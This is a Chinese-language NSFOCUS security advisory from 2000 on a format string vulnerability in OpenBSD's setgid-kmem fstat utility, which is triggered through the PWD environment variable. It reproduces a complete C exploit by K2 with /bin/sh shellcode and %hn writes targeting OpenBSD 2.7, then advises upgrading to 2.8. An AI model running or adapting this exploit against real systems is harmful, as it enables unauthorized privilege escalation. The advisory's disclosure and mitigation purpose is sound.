安全研究

安全漏洞
BSD fstat中格式串漏洞

发布日期:2000-10-05
更新日期:2000-10-05

受影响系统:
OpenBSD OpenBSD 2.7
OpenBSD OpenBSD 2.6
OpenBSD OpenBSD 2.5
OpenBSD OpenBSD 2.4
OpenBSD OpenBSD 2.3
不受影响系统:
OpenBSD OpenBSD 2.8
描述:

fstat是随不同的BSD unix变种发行的一个程序,用来列举系统中打开的文件。它被安装成具有sgid kmem属性,因此它可以从内核的内存结构中获得关于打开的文件的信息。
在fstat中,一个可由用户定义的环境变量(PWD,父工作目录)被作为唯一的参数传递给*printf( )函数。结果,用户可能以包含恶意的格式说明符的PWD变量值来执行fstat。这些格式说明符可以在环境变量中被设计成特殊的格式,导致*printf( )函数解释它们以覆盖堆栈中的特定字节(比如组成被调用的函数的返回地址的那些字节)并操作执行流程。
攻击者在成功地利用这个漏洞后,将继承运行着的fstat程序的有效权限:egig kmem。老练的攻击者可以轻易地造成进一步的危害。
尽管目前只证实OpenBSD受到这个漏洞的影响,可能所有现代的BSD系统都会受到影响。

<* 来源:K2 (ktwo@ktwo.ca) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

下面的测试程序来自http://www.securityfocus.com/data/vulnerabilities/exploits/k2-caddis-fstat.c。

/*
   private caddis K2 release
   TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
   werd to ADM, teso, w00w00

   sgid=kmem
*/

#include <stdio.h>

char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

/* 0xdfbfc304 */

struct platform targets[2] =
{
    { "OpenBSD 2.7 i386       ", 590, 0xdfbfc490, 0xdfbfdc98, bsd_shellcode },
    { NULL, 0, 0, 0, NULL }
};

#define SHELL 500

char fmt_string[9072];
char jmpcode[SHELL] = "PWD=HI";
char term[] = "TERM=xterm";

char *envs[] = { term,jmpcode, NULL};

int main(int argc, char *argv[])
{
    char chr, *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];

    target = &targets[0];
    if (argc > 1) target->count += strtol(argv[1], NULL, 0);

    memset(fmt_string, 0, sizeof(fmt_string));
    len = (sizeof(long) * 4) + 2;
    p = fmt_string + len;
    for (x = 0; x < target->count; x++) {
        strcat(p, "%8x");
        len += 8;
    }


    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

    if (shell_addr[1] > shell_addr[0]) {
     dest_addr[0] = target->dest_addr+2;
     dest_addr[1] = target->dest_addr;
     low  = shell_addr[0] - len;
     high = shell_addr[1] - low - len;
    } else {
     dest_addr[0] = target->dest_addr;
     dest_addr[1] = target->dest_addr+2;
     low  = shell_addr[1] - len;
     high = shell_addr[0] - low - len;
    }

    /* allign on 4byte boundry relative to ebp */
    memcpy(fmt_string, "!!", 2);
    *(long *)&fmt_string[2]  = 0x11111111;
    *(long *)&fmt_string[6]  = dest_addr[0];
    *(long *)&fmt_string[10] = 0x11111111;
    *(long *)&fmt_string[14] = dest_addr[1];

    memset(jmpcode, 0x90, SHELL);
    strcpy(jmpcode + (SHELL - strlen(target->shellcode) - 2), target->shellcode);
    memcpy(jmpcode,"PWD=",4);

    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
    fmt_string[sizeof(fmt_string)] = '\0';

    execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
    perror("execve");
}



建议:
临时解决办法:

    NSFOCUS建议您尽快升级到OpenBSD 2.8,或者暂时禁止fstat的setgid属性。

厂商补丁:

    暂无。

浏览次数:5680
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障